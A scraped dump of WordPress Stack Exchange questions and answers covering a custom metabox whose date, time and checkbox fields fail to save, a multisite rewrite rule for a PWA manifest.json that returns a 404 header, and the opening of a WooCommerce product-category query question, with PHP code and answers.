->add('fastcat_mail', '<strong>Email</strong> ', 'mail')
->add('fastcat_siteweb', '<strong>Site internet</strong> ', 'web')
->add('fastcat_description_organisateur', '<strong>Description de la compétition </strong>', 'description');
//CHECKBOX
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="checkbox" id="<?= $id; ?>" name="<?= $id; ?>" value="Cat">
<label for="<?= $value; ?>" style="padding-right:1rem;">CAT</label>
<input type="checkbox" id="<?= $id; ?>" name="<?= $id; ?>" value="FastCat">
<label for="<?= $value; ?>">FASTCAT</label>
</div>
//DATE
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="text" name="<?= $id; ?>" id="<?= $id; ?>" value="<?= $value; ?>">
</div>
//TIME
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="text" name="<?= $id; ?>" id="<?= $id; ?>" value="<?= $value; ?>">
</div>
</code></pre>
<p>Can you help me?</p>
| [
{
"answer_id": 333805,
"author": "nmr",
"author_id": 147428,
"author_profile": "https://wordpress.stackexchange.com/users/147428",
"pm_score": 2,
"selected": false,
"text": "<p>You add metabox in the wrong way. You should use <code>add_meta_boxes</code> action hook. </p>\n\n<pre><code>public function __construct($id , $title, $post_type)\n{\n $this->id = $id;\n $this->title = $title;\n $this->post_type = $post_type;\n\n add_action('add_meta_boxes', array(&$this, 'create'));\n add_action('save_post', array(&$this, 'save'));\n add_action('admin_enqueue_scripts', array(&$this, 'addJS') );\n}\n\npublic function addJS()\n{\n $screen = get_current_screen();\n if ($screen && $screen->post_type == $this->post_type) \n wp_enqueue_script('uploaderjs', get_template_directory_uri() . '/assets/js/uplaoder.js');\n}\n</code></pre>\n\n<p>After the changes you don't need a line <code>Fastcat_Metabox::addJS();</code>. </p>\n\n<hr>\n\n<blockquote>\n <p>And also there is a problem with a custom checkbox field that gets me a value but if I check two values, only one value appears, and no registration in the Wordpress administrator.</p>\n</blockquote>\n\n<pre><code><input type=\"checkbox\" id=\"<?= $id; ?>\" name=\"<?= $id; ?>\" value=\"Cat\">\n<label for=\"<?= $value; ?>\" style=\"padding-right:1rem;\">CAT</label>\n<input type=\"checkbox\" id=\"<?= $id; ?>\" name=\"<?= $id; ?>\" value=\"FastCat\">\n<label for=\"<?= $value; ?>\">FASTCAT</label>\n</code></pre>\n\n<p>It looks like checkboxes have the same name (ID also).</p>\n"
},
{
"answer_id": 333992,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": true,
"text": "<p>A short overview of your code reveals some issues that seems to cause the problem:</p>\n\n<p>Your function <code>save($post_id)</code> saves all fields added to <code>$fields</code> array.<br>\nThis array if filled using function <code>add($id, $label, $type = 'text', $default='')</code> </p>\n\n<p><strong>But the problematic fields (checkbox, date and time) are not added to fields, so not saved by your function</strong> <code>save($post_id)</code>.</p>\n\n<p><strong>Suggested Solution:</strong>\nEither add these problematic fields using <code>add()</code> function if possible.\n<strong>Or</strong> within your function <code>save()</code> capture each of the problematic fields submitted data and save to db by something like this</p>\n\n<pre><code>$meta = 'name_of_html_input'; //Replace name_of_html_input with actual name given in html\n\nif( isset( $_POST[$meta] ) ){\n\n $value = $_POST[$meta];\n\n if(get_post_meta($post_id, $meta)){\n update_post_meta($post_id, $meta, $value);\n } else {\n\n if ($value === '') {\n delete_post_meta($post_id, $meta);\n } else {\n add_post_meta($post_id, $meta , $value );\n }\n }\n}\n</code></pre>\n\n<p>I hope this may help!</p>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333791",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164692/"
] | I created a custom post type with custom date, time and checkbox fields.
I'm having a problem with the date and time fields that do not register in WordPress Administration or in the database.
And also there is a problem with a custom checkbox field that gets me a value but if I check two values, only one value appears, and no registration in the Wordpress administrator.
I've attached my code:
```
class Fastcat_Metabox
{
private $id;
private $title;
private $post_type;
private $fields = [];
//Ajout uploader image parti organisateur
public static function addJS(){
add_action('admin_enqueue_scripts', function(){
wp_register_script('uploaderjs', get_template_directory_uri() . '/assets/js/uplaoder.js');
wp_enqueue_script('uploaderjs');
});
}
/**
* Fastcat_Metabox constructor.
* @param $id ID de la boite
* @param $title Titre de la boite
* @param $post_type Post type
*/
// Construction de la function
public function __construct($id , $title, $post_type)
{
add_action('admin_init', array(&$this, 'create'));
add_action('save_post', array(&$this, 'save'));
$this->id = $id;
$this->title = $title;
$this->post_type = $post_type;
}
// Création de la fontion
public function create(){
if(function_exists('add_meta_box')) {
add_meta_box($this->id , $this->title, array(&$this, 'render'), $this->post_type);
}
//Sauvegarde des données et vérification des permission et du nonce
public function save($post_id){
//On ne fais rien en cas de save Ajax
if(
(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) ||
(defined('DOING_AJAX') && DOING_AJAX)
){
return false;
}
//Vérifier permission
if(!current_user_can('edit_post', $post_id)){
return false;
}
//On vérifie le nonce
if (!wp_verify_nonce($_POST[$this->id . '_nonce'], $this->id)){
return false;
}
// Vérification de toutes les publications , suppression pour remplacement si déjà existant , ajout si nouveau etc
foreach($this->fields as $field) {
$meta = $field['id'];
if(isset($_POST[$meta])){
$value = $_POST[$meta];
if(get_post_meta($post_id, $meta)){
update_post_meta($post_id, $meta, $value);
} else {
if ($value === '') {
delete_post_meta($post_id, $meta);
} else {
add_post_meta($post_id, $meta , $value );
}
}
}
}
}
// Affichage de tout les nouveaux champs ajouter dans le dashboard
public function render(){
global $post;
foreach($this->fields as $field) {
extract($field);
$value = get_post_meta($post->ID, $id , true);
if($value == ''){
$value = $default;
}
require __DIR__ .'/'. $field['type'] . '.php';
}
echo '<input type="hidden" name="' .$this->id .'_nonce" value="' .wp_create_nonce($this->id). '">';
}
// Création des nouveaux champs
public function add($id, $label, $type = 'text', $default='') {
$this->fields[] = [
'id' => $id,
'name' => $label,
'type' => $type,
'default' => $default
];
return $this;
}
}
Fastcat_Metabox::addJS();
// CUSTOM POST TYPE -> COMPETITION -> Ajout des parties Information et Date supplémentaire
$box = new Fastcat_Metabox('compet' , 'Compétition', 'competition');
$box->add('fastcat_adresse','<strong> Adresse: </strong> ')
->add('fastcat_date', '<strong>Date </strong> ', 'date')
->add('fastcat_starttime', '<strong>Heure de début </strong> ', 'time')
->add('fastcat_endtime', ' <strong>Heure de fin </strong>', 'timeend')
->add('fastcat_choice', '<strong>Choix compétitions </strong>', 'checkbox')
->add('fastcat_description', '<strong>Description de la compétition </strong>', 'textarea')
->add('fastcat_space', '<strong>Nombre de place </strong> ', 'number')
->add('fastcat_rate', '<strong>Tarif </strong>', 'rate');
$box = new Fastcat_Metabox('ition' , 'Date Supplémentaire', 'competition');
$box->add('fastcat_date2', '<strong>Date</strong> ', 'date2')
->add('fastcat_starttime2', '<strong>Heure de début</strong> ', 'time2')
->add('fastcat_endtime2', '<strong> Heure de fin </strong>', 'timeend2')
->add('fastcat_date3', '<strong>Date</strong> ', 'date3')
->add('fastcat_starttime3', '<strong>Heure de début</strong> ', 'time3')
->add('fastcat_endtime3', '<strong> Heure de fin</strong> ', 'timeend3');
$box = new Fastcat_Metabox('cat' , 'Organisateur', 'competition');
$box->add('fastcat_organisateur','<strong>Nom de l\'organisateur</strong>','name_organisateur')
->add('fastcat_picture', '<strong Image de l\'organisateur</strong>','picture_organisateur')
->add('fastcat_club', '<strong>Numéro de club</strong> ', 'number_club')
->add('fastcat_adresse','<strong> Adresse: </strong> ', 'text')
->add('fastcat_phone', '<strong> Téléphone </strong>', 'phone')
->add('fastcat_mail', '<strong>Email</strong> ', 'mail')
->add('fastcat_siteweb', '<strong>Site internet</strong> ', 'web')
->add('fastcat_description_organisateur', '<strong>Description de la compétition </strong>', 'description');
//CHECKBOX
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="checkbox" id="<?= $id; ?>" name="<?= $id; ?>" value="Cat">
<label for="<?= $value; ?>" style="padding-right:1rem;">CAT</label>
<input type="checkbox" id="<?= $id; ?>" name="<?= $id; ?>" value="FastCat">
<label for="<?= $value; ?>">FASTCAT</label>
</div>
//DATE
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="text" name="<?= $id; ?>" id="<?= $id; ?>" value="<?= $value; ?>">
</div>
//TIME
<div class="meta-box-item-title" style="padding-bottom:0.3rem; ">
<?= $name; ?>
</div>
<div class="meta-box-item-content" style="padding-bottom:0.3rem; ">
<input type="text" name="<?= $id; ?>" id="<?= $id; ?>" value="<?= $value; ?>">
</div>
```
Can you help me? | A short overview of your code reveals some issues that seems to cause the problem:
Your function `save($post_id)` saves all fields added to `$fields` array.
This array if filled using function `add($id, $label, $type = 'text', $default='')`
**But the problematic fields (checkbox, date and time) are not added to fields, so not saved by your function** `save($post_id)`.
**Suggested Solution:**
Either add these problematic fields using `add()` function if possible.
**Or** within your function `save()` capture each of the problematic fields submitted data and save to db by something like this
```
$meta = 'name_of_html_input'; //Replace name_of_html_input with actual name given in html
if( isset( $_POST[$meta] ) ){
$value = $_POST[$meta];
if(get_post_meta($post_id, $meta)){
update_post_meta($post_id, $meta, $value);
} else {
if ($value === '') {
delete_post_meta($post_id, $meta);
} else {
add_post_meta($post_id, $meta , $value );
}
}
}
```
I hope this may help! |
333,808 | <p>I have a custom rewrite rule which rewrites <code>/wp-content/themes/my-theme/manifest.json</code> to <code>/index.php?manifest=true</code>. This generates some JSON code for progressive web app functionality, and generally works great.</p>
<p>On a multisite install, however, the manifest loads correctly, but still sends a 404 header. I verified that this specific theme does work fine with a normal WordPress site, but in a multisite install, it always seems to send the 404 header.</p>
<p><a href="https://i.stack.imgur.com/dgTeq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/dgTeq.png" alt="enter image description here"></a></p>
<p>Some notes:</p>
<ul>
<li>I've tried using <code>status_header(200)</code>, and <code>header("HTTP/1.1 200 OK")</code> manually, but neither of those make a difference</li>
<li>I've tried setting <code>$wp->is_404</code> to <code>false</code>, but that does nothing</li>
<li>I've flushed the permalinks, but that does nothing</li>
</ul>
<p>Rewrite Rule PHP:</p>
<pre class="lang-php prettyprint-override"><code>// set up rewirte rules for PWA functionality
function fvpd_pwa_rewrite_rules() {
add_rewrite_endpoint("manifest", EP_NONE);
add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . "/manifest\.json$", "index.php?manifest=true", "top");
}
add_action("init", "fvpd_pwa_rewrite_rules");
</code></pre>
<p>manifest.json PHP:</p>
<pre class="lang-php prettyprint-override"><code>// construct a manifest when the user visits {theme_folder}/manifest.json
function fvpd_construct_manifest() {
if (get_query_var("manifest")) {
header("Content-Type: application/json");
$name = fvpd_get_field("full_name", "pwa");
$short_name = fvpd_get_field("short_name", "pwa");
$background_color = fvpd_get_field("background_color", "pwa");
$theme_color = fvpd_get_field("theme_color", "pwa");
$manifest = array(
"start_url" => "/",
"display" => "standalone",
"name" => $name ? $name : "Fox Valley Park District - DEV",
"short_name" => $short_name ? $short_name : "FVPD",
"background_color" => $background_color ? $background_color : "#E58F1A",
"theme_color" => $theme_color ? $theme_color : "#E58F1A",
"icons" => array(
array(
"src" => get_theme_file_uri("assets/media/android/splash-icon-512x512.png"),
"type" => "image/png",
"sizes" => "512x512",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-192x192.png"),
"type" => "image/png",
"sizes" => "192x192",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-144x144.png"),
"type" => "image/png",
"sizes" => "144x144",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-96x96.png"),
"type" => "image/png",
"sizes" => "96x96",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-72x72.png"),
"type" => "image/png",
"sizes" => "72x72",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-48x48.png"),
"type" => "image/png",
"sizes" => "48x48",
),
),
);
echo json_encode($manifest); exit;
}
}
add_action("wp", "fvpd_construct_manifest");
</code></pre>
<p>URL in questions:</p>
<p><a href="https://www.foxvalleyparkdistrict.org/wp-content/themes/fox-valley-park-district/manifest.json" rel="nofollow noreferrer">https://www.foxvalleyparkdistrict.org/wp-content/themes/fox-valley-park-district/manifest.json</a></p>
<p>This does not affect my other custom rewrite, which points <code>/offline/</code> to load a custom template.</p>
<p><a href="https://www.foxvalleyparkdistrict.org/offline/" rel="nofollow noreferrer">https://www.foxvalleyparkdistrict.org/offline/</a></p>
<p>Why is the 404 header being sent, and how can I fix it?</p>
<hr>
<p><strong>UPDATE 1:</strong></p>
<p>I tried some of the advice below, but to no avail. I do have some additional information that may help, however. I tested changing the rewrite to <code>/manifest.json</code> instead of <code>/wp-content/themes/my-theme/manifest.json</code>, and that actually worked! This gave me an idea, and so I tried the following:</p>
<pre><code>| URL | Status | Folder Exists | WordPress Folder |
|:--------------------------:|:------:|:-------------:|:----------------:|
| /manifest.json | 200 | N/A | N/A |
| /wp-admin/manifest.json | 404 | true | true |
| /wp-content/manifest.json | 404 | true | true |
| /wp-includes/manifest.json | 404 | true | true |
| /cgi-bin/manifest.json | 403 | true | false |
| /custom/manifest.json | 200 | false | false |
| /custom/manifest.json | 200 | true | false |
</code></pre>
<p>It seems that if the rewrite is returning a <code>404</code> header only when set to an existing WordPress folder. My suspicion is that the rewrite engine is partially ignoring rules to <code>/wp-*</code> folders.</p>
<p>I may end up just keeping the rewrite at <code>/manifest.json</code>, but that creatures a problem if in the future we where to set up additional sites like <code>https://example.com/second-site/</code>, although that could probably be fixed by rewriting to the WordPress root instead of the server root.</p>
<p><strong>UPDATE 2:</strong> <code>.htaccess</code> contents is visible here: <a href="https://gist.github.com/JacobDB/1531b75c8b8c79117516019225bb7732" rel="nofollow noreferrer">https://gist.github.com/JacobDB/1531b75c8b8c79117516019225bb7732</a></p>
| [
{
"answer_id": 340498,
"author": "Michael Ecklund",
"author_id": 9579,
"author_profile": "https://wordpress.stackexchange.com/users/9579",
"pm_score": -1,
"selected": false,
"text": "<p>I think that's because <code>.json</code> is considered to be a \"static file\". Which means PHP isn't triggered with the request. This kind of routing likely needs to occur at a server level.</p>\n"
},
{
"answer_id": 340512,
"author": "ChristopherJones",
"author_id": 168744,
"author_profile": "https://wordpress.stackexchange.com/users/168744",
"pm_score": 0,
"selected": false,
"text": "<p>I ran into a similar issue some time back. I came up with an answer that does not fix the 404 issue, but takes a different approach in solving the issue, assuming your content of this json file is not set per user.</p>\n\n<p>Rather than having PHP run inside of that json file and changing the header of the file to reflect as much, why not have a manifest.php file sit next and write the manifest.json file for you:</p>\n\n<pre><code>themes/fox-valley-park-district/\n \\__ manifest.php\n \\__ manifest.json\n</code></pre>\n\n<p>Do all the work laid out above in your php file and remove the add_action hook call in there. Maybe your php file looks like like:</p>\n\n<pre><code><?php\n function fvpd_construct_manifest() {\n\n // Compile what you need\n\n return $manifest_output;\n }\n\n $manifest_json_file = 'manifest.json';\n $json_data = fvpd_construct_manifest();\n $json_data_encoded = json_encode($json_data);\n\n // You may need to deal with permission issues on that .json file\n file_put_contents(__DIR__ .'/'.$manifest_json_file, $json_data_encoded);\n</code></pre>\n\n<p>And then run a cron to hit that manifest.php. Again, it's a different approach and answer, but does not answer the specific 404 question. If I am way off here....I'd be happy to remove the answer.</p>\n\n<p>Hope it helps, Good luck!!</p>\n"
},
{
"answer_id": 340514,
"author": "filipecsweb",
"author_id": 84657,
"author_profile": "https://wordpress.stackexchange.com/users/84657",
"pm_score": 2,
"selected": true,
"text": "<p>Basically, you are doing one thing wrong, which is actually having a file named <code>manifest.json</code> inside <code>/wp-content/themes/your-theme</code>.</p>\n\n<p>So, first, delete your file <code>/wp-content/themes/your-theme/manifest.json</code>.</p>\n\n<p>Then, in your <strong>functions.php</strong> file you can have your rewrite rule as:</p>\n\n<pre><code>function fvpd_pwa_rewrite_rules() {\n add_rewrite_endpoint( \"manifest\", EP_NONE );\n add_rewrite_rule( substr( parse_url( get_template_directory_uri(), PHP_URL_PATH ), 1 ) . \"/manifest.json/?$\", \"index.php?manifest=true\", \"top\" );\n}\n\nadd_action( \"init\", \"fvpd_pwa_rewrite_rules\" );\n</code></pre>\n\n<p>And your json content as:</p>\n\n<pre><code>// construct a manifest when the user visits {theme_folder}/manifest.json\nfunction fvpd_construct_manifest() {\n if ( get_query_var( \"manifest\" ) ) {\n $name = fvpd_get_field( \"full_name\", \"pwa\" );\n $short_name = fvpd_get_field( \"short_name\", \"pwa\" );\n $background_color = fvpd_get_field( \"background_color\", \"pwa\" );\n $theme_color = fvpd_get_field( \"theme_color\", \"pwa\" );\n\n $manifest = array(\n \"start_url\" => \"/\",\n \"display\" => \"standalone\",\n \"name\" => $name ? $name : \"Fox Valley Park District - DEV\",\n \"short_name\" => $short_name ? $short_name : \"FVPD\",\n \"background_color\" => $background_color ? $background_color : \"#E58F1A\",\n \"theme_color\" => $theme_color ? $theme_color : \"#E58F1A\",\n \"icons\" => array(\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/splash-icon-512x512.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"512x512\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-192x192.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"192x192\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-144x144.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"144x144\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-96x96.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"96x96\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-72x72.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"72x72\",\n ),\n array(\n \"src\" => get_theme_file_uri( \"assets/media/android/launcher-icon-48x48.png\" ),\n \"type\" => \"image/png\",\n \"sizes\" => \"48x48\",\n ),\n ),\n );\n\n wp_send_json( $manifest );\n }\n}\n\nadd_action( \"wp\", \"fvpd_construct_manifest\" );\n</code></pre>\n\n<p>Notice the usage of the WordPress function <code>wp_send_json()</code> which handles for you necessary headers, json converting, etc.</p>\n\n<p>Make sure you flush your permalinks and test the URL which will be something like <code>http://localhost/wp-content/themes/your-theme/manifest.json</code>.</p>\n\n<p>If the above still doesn't solve your issue it means you are also having trouble setting your web server correctly, NGINX or APACHE, following WordPress standards.</p>\n"
},
{
"answer_id": 340522,
"author": "Nathan Powell",
"author_id": 27196,
"author_profile": "https://wordpress.stackexchange.com/users/27196",
"pm_score": 0,
"selected": false,
"text": "<p>I think you just have a typo. Changing the following made this work for me on multisite.</p>\n\n<p>Try changing this:</p>\n\n<pre><code> add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . \"/manifest\\.json$\", \"index.php?manifest=true\", \"top\");\n</code></pre>\n\n<p>to this:</p>\n\n<pre><code> add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . \"/manifest.json\", \"index.php?manifest=true\", \"top\");\n</code></pre>\n"
}
] | 2019/04/08 | [
"https://wordpress.stackexchange.com/questions/333808",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24566/"
] | I have a custom rewrite rule which rewrites `/wp-content/themes/my-theme/manifest.json` to `/index.php?manifest=true`. This generates some JSON code for progressive web app functionality, and generally works great.
On a multisite install, however, the manifest loads correctly, but still sends a 404 header. I verified that this specific theme does work fine with a normal WordPress site, but in a multisite install, it always seems to send the 404 header.
[](https://i.stack.imgur.com/dgTeq.png)
Some notes:
* I've tried using `status_header(200)`, and `header("HTTP/1.1 200 OK")` manually, but neither of those make a difference
* I've tried setting `$wp->is_404` to `false`, but that does nothing
* I've flushed the permalinks, but that does nothing
Rewrite Rule PHP:
```php
// set up rewirte rules for PWA functionality
function fvpd_pwa_rewrite_rules() {
add_rewrite_endpoint("manifest", EP_NONE);
add_rewrite_rule(substr(parse_url(get_template_directory_uri(), PHP_URL_PATH), 1) . "/manifest\.json$", "index.php?manifest=true", "top");
}
add_action("init", "fvpd_pwa_rewrite_rules");
```
manifest.json PHP:
```php
// construct a manifest when the user visits {theme_folder}/manifest.json
function fvpd_construct_manifest() {
if (get_query_var("manifest")) {
header("Content-Type: application/json");
$name = fvpd_get_field("full_name", "pwa");
$short_name = fvpd_get_field("short_name", "pwa");
$background_color = fvpd_get_field("background_color", "pwa");
$theme_color = fvpd_get_field("theme_color", "pwa");
$manifest = array(
"start_url" => "/",
"display" => "standalone",
"name" => $name ? $name : "Fox Valley Park District - DEV",
"short_name" => $short_name ? $short_name : "FVPD",
"background_color" => $background_color ? $background_color : "#E58F1A",
"theme_color" => $theme_color ? $theme_color : "#E58F1A",
"icons" => array(
array(
"src" => get_theme_file_uri("assets/media/android/splash-icon-512x512.png"),
"type" => "image/png",
"sizes" => "512x512",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-192x192.png"),
"type" => "image/png",
"sizes" => "192x192",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-144x144.png"),
"type" => "image/png",
"sizes" => "144x144",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-96x96.png"),
"type" => "image/png",
"sizes" => "96x96",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-72x72.png"),
"type" => "image/png",
"sizes" => "72x72",
),
array(
"src" => get_theme_file_uri("assets/media/android/launcher-icon-48x48.png"),
"type" => "image/png",
"sizes" => "48x48",
),
),
);
echo json_encode($manifest); exit;
}
}
add_action("wp", "fvpd_construct_manifest");
```
URL in questions:
<https://www.foxvalleyparkdistrict.org/wp-content/themes/fox-valley-park-district/manifest.json>
This does not affect my other custom rewrite, which points `/offline/` to load a custom template.
<https://www.foxvalleyparkdistrict.org/offline/>
Why is the 404 header being sent, and how can I fix it?
---
**UPDATE 1:**
I tried some of the advice below, but to no avail. I do have some additional information that may help, however. I tested changing the rewrite to `/manifest.json` instead of `/wp-content/themes/my-theme/manifest.json`, and that actually worked! This gave me an idea, and so I tried the following:
```
| URL | Status | Folder Exists | WordPress Folder |
|:--------------------------:|:------:|:-------------:|:----------------:|
| /manifest.json | 200 | N/A | N/A |
| /wp-admin/manifest.json | 404 | true | true |
| /wp-content/manifest.json | 404 | true | true |
| /wp-includes/manifest.json | 404 | true | true |
| /cgi-bin/manifest.json | 403 | true | false |
| /custom/manifest.json | 200 | false | false |
| /custom/manifest.json | 200 | true | false |
```
It seems that if the rewrite is returning a `404` header only when set to an existing WordPress folder. My suspicion is that the rewrite engine is partially ignoring rules to `/wp-*` folders.
I may end up just keeping the rewrite at `/manifest.json`, but that creatures a problem if in the future we where to set up additional sites like `https://example.com/second-site/`, although that could probably be fixed by rewriting to the WordPress root instead of the server root.
**UPDATE 2:** `.htaccess` contents is visible here: <https://gist.github.com/JacobDB/1531b75c8b8c79117516019225bb7732> | Basically, you are doing one thing wrong, which is actually having a file named `manifest.json` inside `/wp-content/themes/your-theme`.
So, first, delete your file `/wp-content/themes/your-theme/manifest.json`.
Then, in your **functions.php** file you can have your rewrite rule as:
```
function fvpd_pwa_rewrite_rules() {
add_rewrite_endpoint( "manifest", EP_NONE );
add_rewrite_rule( substr( parse_url( get_template_directory_uri(), PHP_URL_PATH ), 1 ) . "/manifest.json/?$", "index.php?manifest=true", "top" );
}
add_action( "init", "fvpd_pwa_rewrite_rules" );
```
And your json content as:
```
// construct a manifest when the user visits {theme_folder}/manifest.json
function fvpd_construct_manifest() {
if ( get_query_var( "manifest" ) ) {
$name = fvpd_get_field( "full_name", "pwa" );
$short_name = fvpd_get_field( "short_name", "pwa" );
$background_color = fvpd_get_field( "background_color", "pwa" );
$theme_color = fvpd_get_field( "theme_color", "pwa" );
$manifest = array(
"start_url" => "/",
"display" => "standalone",
"name" => $name ? $name : "Fox Valley Park District - DEV",
"short_name" => $short_name ? $short_name : "FVPD",
"background_color" => $background_color ? $background_color : "#E58F1A",
"theme_color" => $theme_color ? $theme_color : "#E58F1A",
"icons" => array(
array(
"src" => get_theme_file_uri( "assets/media/android/splash-icon-512x512.png" ),
"type" => "image/png",
"sizes" => "512x512",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-192x192.png" ),
"type" => "image/png",
"sizes" => "192x192",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-144x144.png" ),
"type" => "image/png",
"sizes" => "144x144",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-96x96.png" ),
"type" => "image/png",
"sizes" => "96x96",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-72x72.png" ),
"type" => "image/png",
"sizes" => "72x72",
),
array(
"src" => get_theme_file_uri( "assets/media/android/launcher-icon-48x48.png" ),
"type" => "image/png",
"sizes" => "48x48",
),
),
);
wp_send_json( $manifest );
}
}
add_action( "wp", "fvpd_construct_manifest" );
```
Notice the usage of the WordPress function `wp_send_json()` which handles for you necessary headers, json converting, etc.
Make sure you flush your permalinks and test the URL which will be something like `http://localhost/wp-content/themes/your-theme/manifest.json`.
If the above still doesn't solve your issue it means you are also having trouble setting your web server correctly, NGINX or APACHE, following WordPress standards. |
333,810 | <p>I'm trying to create a custom theme. I added theme compatibility with Woocommerce to my theme, and am trying to create a product loop. I want to filter my loop so it only displays post with the category "cap" I tried the following versions:</p>
<pre><code>$params = array('posts_per_page' => 5, 'post_type' => 'product', 'category_name' => 'cap');
</code></pre>
<p>$wc_query = new WP_Query($params);
?></p>
<p>and also tried displaying it by Category ID. Both show me no products. Am I doing something wrong? Using PHP 7.2</p>
<p>Some images showing cat setup:</p>
<p><a href="https://www.dropbox.com/s/97p4hj3e2i1lr4v/Screenshot%202019-04-08%2019.31.10.png?dl=0" rel="nofollow noreferrer">https://www.dropbox.com/s/97p4hj3e2i1lr4v/Screenshot%202019-04-08%2019.31.10.png?dl=0</a></p>
<p><a href="https://www.dropbox.com/s/ybxvsk9da71saoq/Screenshot%202019-04-08%2019.31.50.png?dl=0" rel="nofollow noreferrer">https://www.dropbox.com/s/ybxvsk9da71saoq/Screenshot%202019-04-08%2019.31.50.png?dl=0</a></p>
<p>Any help is appreciated!</p>
| [
{
"answer_id": 340498,
"author": "Michael Ecklund",
"author_id": 9579,
"author_profile": "https://wordpress.stackexchange.com/users/9579",
"pm_score": -1,
"selected": false,
"text": "<p>I think that's because <code>.json</code> is considered to be a \"static file\". Which means PHP isn't triggered with the request. This kind of routing likely needs to occur at a server level.</p>\n"
},
{
"answer_id": 340512,
"author": "ChristopherJones",
"author_id": 168744,
"author_profile": "https://wordpress.stackexchange.com/users/168744",
"pm_score": 0,
"selected": false,
"text": "<p>I ran into a similar issue some time back. I came up with an answer that does not fix the 404 issue, but takes a different approach in solving the issue, assuming your content of this json file is not set per user.</p>\n\n<p>Rather than having PHP run inside of that json file and changing the header of the file to reflect as much, why not have a manifest.php file sit next and write the manifest.json file for you:</p>\n\n<pre><code>themes/fox-valley-park-district/\n \\__ manifest.php\n \\__ manifest.json\n</code></pre>\n\n<p>Do all the work laid out above in your php file and remove the add_action hook call in there. Maybe your php file looks like like:</p>\n\n<pre><code><?php\n function fvpd_construct_manifest() {\n\n // Compile what you need\n\n return $manifest_output;\n }\n\n $manifest_json_file = 'manifest.json';\n $json_data = fvpd_construct_manifest();\n $json_data_encoded = json_encode($json_data);\n\n // You may need to deal with permission issues on that .json file\n file_put_contents(__DIR__ .'/'.$manifest_json_file, $json_data_encoded);\n</code></pre>\n\n<p>And then run a cron to hit that manifest.php. Again, it's a different approach and answer, but does not answer the specific 404 question. If I am way off here....I'd be happy to remove the answer.</p>\n\n<p>Hope it helps, Good luck!!</p>\n"
},
{
"answer_id": 340514,
"author": "filipecsweb",
"author_id": 84657,
"author_profile": "https://wordpress.stackexchange.com/users/84657",
"pm_score": 2,
"selected": true,
"text": "<p>Basically, you are doing one thing wrong, which is actually having a file named <code>manifest.json</code> inside <code>/wp-content/themes/your-theme</code>.</p>\n\n<p>So, first, delete your file <code>/wp-content/themes/your-theme/manifest.json</code>.</p>\n\n<p>Then, in your <strong>functions.php</strong> file you can have your rewrite rule as:</p>\n\n<pre><code>function fvpd_pwa_rewrite_rules() {\n add_rewrite_endpoint( \"manifest\", EP_NONE );\n add_rewrite_rule( substr( parse_url( get_template_directory_uri(), PHP_URL_PATH ), 1 ) . \"/manifest.json/?$\", \"index.php?manifest=true\", \"top\" );\n}\n\nadd_action( \"init\", \"fvpd_pwa_rewrite_rules\" );\n</code></pre>\n\n<p>And your json content as:</p>\n\n<pre><code>// construct a manifest when the user visits {theme_folder}/manifest.json\nfunction fvpd_construct_manifest() {\n if ( get_query_var( \"manifest\" ) ) {\n $name = fvpd_get_field( \"full_name\", \"pwa\" );\n $short_name = fvpd_get_field( \"short_name\", \"pwa\" );\n $background_color = fvpd_get_field( \"background_color\", \"pwa\" );\n $theme_color = fvpd_get_field( \"theme_color\", \"pwa\" );\n\n $manifest = array(\n \"start_url\" => \"/\",\n \"display\" => \"standalone\",\n \"name\" => $name ? $name : \"Fox Valley Park District - DEV\",\n \"short_name\" => $short_name ? $short_name : \"FVPD\",\n \"background_color\" => $background_color ? $background_color : \"#E58F1A\",\n \"theme_color\" => $theme_color ? $theme_color : \"#E58F1A\",\n \"icons\" => array(\n array(\n \"src\" => 